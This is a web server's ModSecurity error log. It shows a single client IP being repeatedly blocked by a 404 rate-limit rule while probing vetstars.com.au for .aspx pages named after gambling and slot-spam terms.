[Wed Feb 11 02:54:26.663340 2026] [:error] [pid 14803:tid 14920] [client 95.217.109.26:11348] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYt-4rwzY9_NIasL_OXj8gAAAQM"]
[Wed Feb 11 02:54:29.394888 2026] [:error] [pid 46779:tid 46850] [client 95.217.109.26:12238] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYt-5dZrCpVdS6yMMkdvFwAAAJY"]
[Wed Feb 11 02:54:31.940877 2026] [:error] [pid 46525:tid 46577] [client 95.217.109.26:12252] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYt-5wlEqQj0Mpse0PlXIgAAAAQ"]
[Wed Feb 11 02:54:40.633110 2026] [:error] [pid 46525:tid 46592] [client 95.217.109.26:23000] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYt-8AlEqQj0Mpse0PlXMQAAABM"]
[Wed Feb 11 02:54:43.126605 2026] [:error] [pid 46525:tid 46574] [client 95.217.109.26:23006] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYt-8wlEqQj0Mpse0PlXNAAAAAE"]
[Wed Feb 11 02:54:45.759661 2026] [:error] [pid 46635:tid 46654] [client 95.217.109.26:23022] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYt-9UsK6EAyFtFakLpeUwAAAFE"]
[Wed Feb 11 02:54:48.463472 2026] [:error] [pid 14804:tid 14962] [client 95.217.109.26:46078] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYt--IL4gbfzj8YFRVpKsAAAAZI"]
[Wed Feb 11 02:54:58.325737 2026] [:error] [pid 14803:tid 14937] [client 95.217.109.26:44344] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYt_ArwzY9_NIasL_OXkFwAAARQ"]
[Wed Feb 11 02:55:00.899346 2026] [:error] [pid 14802:tid 14905] [client 95.217.109.26:44346] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYt_BCallVxgXDlFFibfrAAAANA"]
[Wed Feb 11 02:55:03.558065 2026] [:error] [pid 15011:tid 15029] [client 95.217.109.26:44358] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYt_B1-gTNLV94AtLrgMhQAAAdA"]
[Wed Feb 11 02:55:06.378630 2026] [:error] [pid 15011:tid 15017] [client 95.217.109.26:44362] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYt_Cl-gTNLV94AtLrgMjAAAAcQ"]
[Wed Feb 11 02:55:09.014007 2026] [:error] [pid 46635:tid 46661] [client 95.217.109.26:5198] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYt_DUsK6EAyFtFakLpegAAAAFg"]
[Wed Feb 11 02:55:11.601694 2026] [:error] [pid 46779:tid 46827] [client 95.217.109.26:5214] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYt_D9ZrCpVdS6yMMkdvTwAAAIE"]
[Wed Feb 11 02:55:14.174120 2026] [:error] [pid 46525:tid 46573] [client 95.217.109.26:5218] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYt_EglEqQj0Mpse0PlXTQAAAAA"]
[Wed Feb 11 02:55:16.715655 2026] [:error] [pid 46779:tid 46845] [client 95.217.109.26:5222] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYt_FNZrCpVdS6yMMkdvWwAAAJE"]
[Wed Feb 11 02:55:19.274462 2026] [:error] [pid 46779:tid 46838] [client 95.217.109.26:43536] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYt_F9ZrCpVdS6yMMkdvZgAAAIo"]
[Wed Feb 11 02:55:48.182704 2026] [:error] [pid 14803:tid 14919] [client 95.217.109.26:42536] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aYt_NLwzY9_NIasL_OXkSQAAAQI"]
[Wed Feb 11 02:55:50.828260 2026] [:error] [pid 46779:tid 46843] [client 95.217.109.26:42552] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aYt_NtZrCpVdS6yMMkdvnQAAAI8"]
[Wed Feb 11 02:55:53.430856 2026] [:error] [pid 46635:tid 46643] [client 95.217.109.26:42562] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYt_OUsK6EAyFtFakLpetgAAAEY"]
[Wed Feb 11 02:55:55.943784 2026] [:error] [pid 46525:tid 46582] [client 95.217.109.26:42564] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYt_OwlEqQj0Mpse0PlXgAAAAAk"]
[Wed Feb 11 02:55:58.625420 2026] [:error] [pid 14804:tid 14946] [client 95.217.109.26:17740] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYt_PoL4gbfzj8YFRVpK-wAAAYI"]
[Wed Feb 11 02:56:01.150640 2026] [:error] [pid 14804:tid 14961] [client 95.217.109.26:17752] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYt_QYL4gbfzj8YFRVpLAQAAAZE"]
[Wed Feb 11 02:56:03.741816 2026] [:error] [pid 46635:tid 46645] [client 95.217.109.26:17764] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYt_Q0sK6EAyFtFakLpewgAAAEg"]
[Wed Feb 11 02:56:06.213619 2026] [:error] [pid 14803:tid 14918] [client 95.217.109.26:17778] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYt_RrwzY9_NIasL_OXkawAAAQE"]
[Wed Feb 11 02:56:08.822895 2026] [:error] [pid 14803:tid 14920] [client 95.217.109.26:7616] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYt_SLwzY9_NIasL_OXkdgAAAQM"]
[Wed Feb 11 02:56:15.856014 2026] [:error] [pid 46635:tid 46637] [client 95.217.109.26:7624] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYt_T0sK6EAyFtFakLpe1gAAAEA"]
[Wed Feb 11 02:56:18.280728 2026] [:error] [pid 46779:tid 46845] [client 95.217.109.26:55680] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYt_UtZrCpVdS6yMMkdv0QAAAJE"]
[Wed Feb 11 02:56:20.884227 2026] [:error] [pid 14802:tid 14907] [client 95.217.109.26:55694] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYt_VCallVxgXDlFFibgBQAAANI"]
[Wed Feb 11 02:56:23.358868 2026] [:error] [pid 46779:tid 46826] [client 95.217.109.26:55698] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYt_V9ZrCpVdS6yMMkdv3AAAAIA"]
[Wed Feb 11 02:56:28.079690 2026] [:error] [pid 14802:tid 14898] [client 95.217.109.26:28716] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aYt_XCallVxgXDlFFibgCAAAAMk"]
[Wed Feb 11 02:56:30.539069 2026] [:error] [pid 46779:tid 46839] [client 95.217.109.26:28728] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aYt_XtZrCpVdS6yMMkdv7AAAAIs"]
[Wed Feb 11 02:56:33.198771 2026] [:error] [pid 46779:tid 46838] [client 95.217.109.26:28734] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYt_YdZrCpVdS6yMMkdv8QAAAIo"]
[Wed Feb 11 02:56:35.792795 2026] [:error] [pid 14804:tid 14963] [client 95.217.109.26:28742] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYt_Y4L4gbfzj8YFRVpLKgAAAZM"]
[Wed Feb 11 02:56:38.448090 2026] [:error] [pid 14802:tid 14894] [client 95.217.109.26:65428] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYt_ZiallVxgXDlFFibgEAAAAMU"]
[Wed Feb 11 02:56:41.191681 2026] [:error] [pid 46779:tid 46837] [client 95.217.109.26:65434] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aYt_adZrCpVdS6yMMkdwAwAAAIk"]
[Wed Feb 11 02:57:39.796834 2026] [:error] [pid 46525:tid 46579] [client 95.217.109.26:17298] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYt_owlEqQj0Mpse0PlYFQAAAAY"]
[Wed Feb 11 02:57:42.413030 2026] [:error] [pid 46635:tid 46646] [client 95.217.109.26:17314] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYt_pksK6EAyFtFakLpfPgAAAEk"]
[Wed Feb 11 02:57:44.995452 2026] [:error] [pid 46525:tid 46591] [client 95.217.109.26:17322] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYt_qAlEqQj0Mpse0PlYGgAAABI"]
[Wed Feb 11 02:57:47.592565 2026] [:error] [pid 46635:tid 46659] [client 95.217.109.26:40090] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYt_q0sK6EAyFtFakLpfRgAAAFY"]
[Wed Feb 11 02:57:50.203104 2026] [:error] [pid 14804:tid 14947] [client 95.217.109.26:40104] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYt_roL4gbfzj8YFRVpLhgAAAYM"]
[Wed Feb 11 02:57:52.683984 2026] [:error] [pid 46635:tid 46642] [client 95.217.109.26:40120] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYt_sEsK6EAyFtFakLpfTgAAAEU"]
[Wed Feb 11 02:57:55.111794 2026] [:error] [pid 46779:tid 46849] [client 95.217.109.26:40132] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYt_s9ZrCpVdS6yMMkdwaAAAAJU"]
[Wed Feb 11 02:57:57.684714 2026] [:error] [pid 14802:tid 14913] [client 95.217.109.26:54974] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYt_tSallVxgXDlFFibgVgAAANg"]
[Wed Feb 11 02:58:00.246458 2026] [:error] [pid 15011:tid 15019] [client 95.217.109.26:54986] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYt_uF-gTNLV94AtLrgNfgAAAcY"]
[Wed Feb 11 02:58:02.800674 2026] [:error] [pid 46635:tid 46659] [client 95.217.109.26:54994] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYt_uksK6EAyFtFakLpfWwAAAFY"]
[Wed Feb 11 02:58:05.349595 2026] [:error] [pid 15011:tid 15035] [client 95.217.109.26:54998] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYt_vV-gTNLV94AtLrgNhwAAAdY"]
[Wed Feb 11 02:58:07.980294 2026] [:error] [pid 46779:tid 46852] [client 95.217.109.26:64228] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYt_v9ZrCpVdS6yMMkdwfgAAAJg"]
[Wed Feb 11 02:58:10.582111 2026] [:error] [pid 14804:tid 14957] [client 95.217.109.26:64230] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYt_woL4gbfzj8YFRVpLmwAAAY0"]
[Wed Feb 11 02:58:13.102150 2026] [:error] [pid 15011:tid 15033] [client 95.217.109.26:64238] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYt_xV-gTNLV94AtLrgNmgAAAdQ"]
[Wed Feb 11 02:58:15.625007 2026] [:error] [pid 14802:tid 14897] [client 95.217.109.26:64242] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aYt_xyallVxgXDlFFibgYQAAAMg"]
[Wed Feb 11 02:58:18.245953 2026] [:error] [pid 46779:tid 46845] [client 95.217.109.26:11348] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aYt_ytZrCpVdS6yMMkdwigAAAJE"]
[Wed Feb 11 02:58:20.902619 2026] [:error] [pid 15011:tid 15029] [client 95.217.109.26:11350] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aYt_zF-gTNLV94AtLrgNnwAAAdA"]
[Wed Feb 11 02:58:23.460977 2026] [:error] [pid 14803:tid 14936] [client 95.217.109.26:11364] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aYt_z7wzY9_NIasL_OXk8QAAARM"]
[Wed Feb 11 02:58:26.116906 2026] [:error] [pid 14804:tid 14954] [client 95.217.109.26:11368] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYt_0oL4gbfzj8YFRVpLpwAAAYo"]
[Wed Feb 11 02:58:28.690084 2026] [:error] [pid 14803:tid 14937] [client 95.217.109.26:24654] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYt_1LwzY9_NIasL_OXk-gAAARQ"]
